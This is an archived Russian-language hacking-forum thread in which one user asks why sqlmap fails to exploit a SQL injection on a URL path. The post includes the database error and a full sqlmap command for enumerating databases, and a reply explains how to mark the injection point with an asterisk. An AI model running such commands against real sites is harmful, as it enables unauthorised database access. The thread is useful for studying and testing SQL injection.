PDA

Просмотр полной версии : [SQLmap] Не могу заюзать уязвимость


RedFern.89
01.10.2015, 00:07
SQLmap не может заюзать уязвимость хотя уязвимость есть

test url: domain/1'"/

пишет ошибку Ошибка базы данных. MySQL пишет:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Команда к sqlmap

--url=http://domain/1'"/ (http://domain/1'%22/) -p 1 --random-agent --level=5 --risk=3 --suffix=/ --dbs

sqlmap выдает "heuristic (basic) test shows that URI parameter '#1*' might be injectable", но в итоге ничего не может сделать

Подскажите, в чем здесь проблема ?

ghost8
01.10.2015, 00:43
-u "http://domain/1*/ (http://domain/1%27%22/)"

sqlmap выдает "heuristic (basic) test shows that URI parameter '#1*' might be injectable"

Читай что пишет sqlmap

Когда урл такого типа то нужно подставить *